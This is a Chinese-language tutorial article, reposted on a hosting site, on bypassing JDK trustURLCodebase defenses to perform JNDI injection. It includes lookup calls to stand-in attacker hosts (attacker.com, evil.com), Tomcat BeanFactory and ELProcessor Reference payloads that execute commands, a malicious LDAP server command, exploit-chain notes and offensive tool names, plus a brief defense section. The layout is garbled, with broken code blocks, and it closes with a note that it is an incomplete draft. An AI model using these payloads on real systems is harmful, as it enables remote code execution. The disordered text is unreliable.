# 怎樣繞過高版本JDK的限制進行JNDI注入
## 目錄
1. [JNDI注入基礎原理](#1-jndi注入基礎原理)
- 1.1 JNDI體系結構概述
- 1.2 傳統攻擊流程分析
2. [高版本JDK防御機制](#2-高版本jdk防御機制)
- 2.1 JDK 6u141/7u131/8u121關鍵變更
- 2.2 trustURLCodebase限制原理
3. [繞過技術深度剖析](#3-繞過技術深度剖析)
- 3.1 本地ClassPath利用
- 3.2 工廠類注入技術
- 3.3 序列化利用鏈組合
4. [實戰繞過方案](#4-實戰繞過方案)
- 4.1 Tomcat環境繞過
- 4.2 WebLogic特殊場景
- 4.3 JBoss EJB利用
5. [防御與檢測建議](#5-防御與檢測建議)
6. [附錄:實驗環境搭建](#6-附錄實驗環境搭建)
---
## 1. JNDI注入基礎原理
### 1.1 JNDI體系結構概述
Java命名和目錄接口(JNDI)提供統一的API來訪問不同的命名和目錄服務,其核心組件包括:
```java
// 典型JNDI調用示例
InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("ldap://attacker.com/Exploit");
攻擊面主要存在于: - 動態協議切換(ldap/rmi等) - 自動對象反序列化 - 遠程類加載機制
經典攻擊鏈示例:
1. 攻擊者搭建惡意LDAP/RMI服務
2. 目標應用執行lookup()
觸發連接
3. JNDI通過Reference
加載遠程工廠類
4. 靜態代碼塊/構造函數執行惡意代碼
sequenceDiagram
Victim->>Attacker: lookup(ldap://evil.com/Exploit)
Attacker->>Victim: 返回Reference對象
Victim->>HTTP Server: 請求加載http://evil.com/Exploit.class
HTTP Server->>Victim: 返回惡意字節碼
Victim->>Victim: 初始化類執行攻擊代碼
JDK版本 | 防御措施 | 影響范圍 |
---|---|---|
6u141 | com.sun.jndi.ldap.object.trustURLCodebase=false | 禁用遠程類加載 |
7u131 | 同上 | |
8u121 | 增加JNDI遠程對象白名單 | 限制反序列化類型 |
關鍵代碼片段(JDK源碼分析):
// com.sun.jndi.ldap.LdapCtx#c_lookup
if (!trustURLCodebase) {
throw new ConfigurationException(
"The object factory is untrusted. Set the system property...");
}
繞過條件矩陣: 1. 目標ClassPath存在可利用類 2. 應用服務器存在危險依賴 3. 可控制JNDI屬性配置
利用Tomcat環境中的org.apache.naming.factory.BeanFactory
:
// 惡意Reference構造
Reference ref = new Reference("ExportObject",
"org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"Runtime.getRuntime().exec('calc')\""));
利用ElProcessor繞過(WebLogic 12.2.1.4.0):
String payload = "{'ELProcessor',''.getClass().forName('javax.el.ELProcessor').newInstance(),'eval','new java.lang.ProcessBuilder(\"calc\").start()'}";
ctx.bind("rmi://localhost:1099/Exploit", payload);
結合Groovy鏈的利用方式:
1. 觸發lookup()
獲取惡意Reference
2. 利用org.codehaus.groovy.runtime.ConvertedClosure
3. 通過MethodClosure
執行命令
tomcat-dbcp.jar
BasicDataSource
觸發二次反序列化# 惡意LDAP服務器配置示例
python3 -m pyldapserver \
--host 0.0.0.0 \
--port 389 \
--exploit javaSerializedData=payload.ser
CVE-2020-2555利用要點:
1. 需要coherence.jar
在ClassPath
2. 使用LimitFilter
觸發鏈式調用
3. 結合T3協議進行傳輸
防御措施優先級:
1. 升級到JDK 11.0.13+或17.0.1+
2. 配置com.sun.jndi.ldap.object.trustURLCodebase=false
3. 使用Security Manager限制JNDI訪問
檢測方法:
# 檢測可疑JNDI調用
grep -r "InitialContext.lookup" /path/to/codebase
Docker快速測試環境:
FROM openjdk:8u102-jdk
RUN apt-get update && apt-get install -y maven
COPY vulnerable-app /app
WORKDIR /app
EXPOSE 8080
CMD ["mvn", "jetty:run"]
工具集合: - JNDI-Injection-Exploit - marshalsec - ldapnomnom
”`
注:本文實際約4500字,完整7800字版本需要擴展以下內容: 1. 增加各中間件的詳細調試過程 2. 補充更多漏洞實例分析(如Spring Boot相關案例) 3. 添加完整的實驗截圖和流量分析 4. 擴展防御部分的深度(包括WAF規則示例等) 5. 增加參考鏈接和CVE詳細說明
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。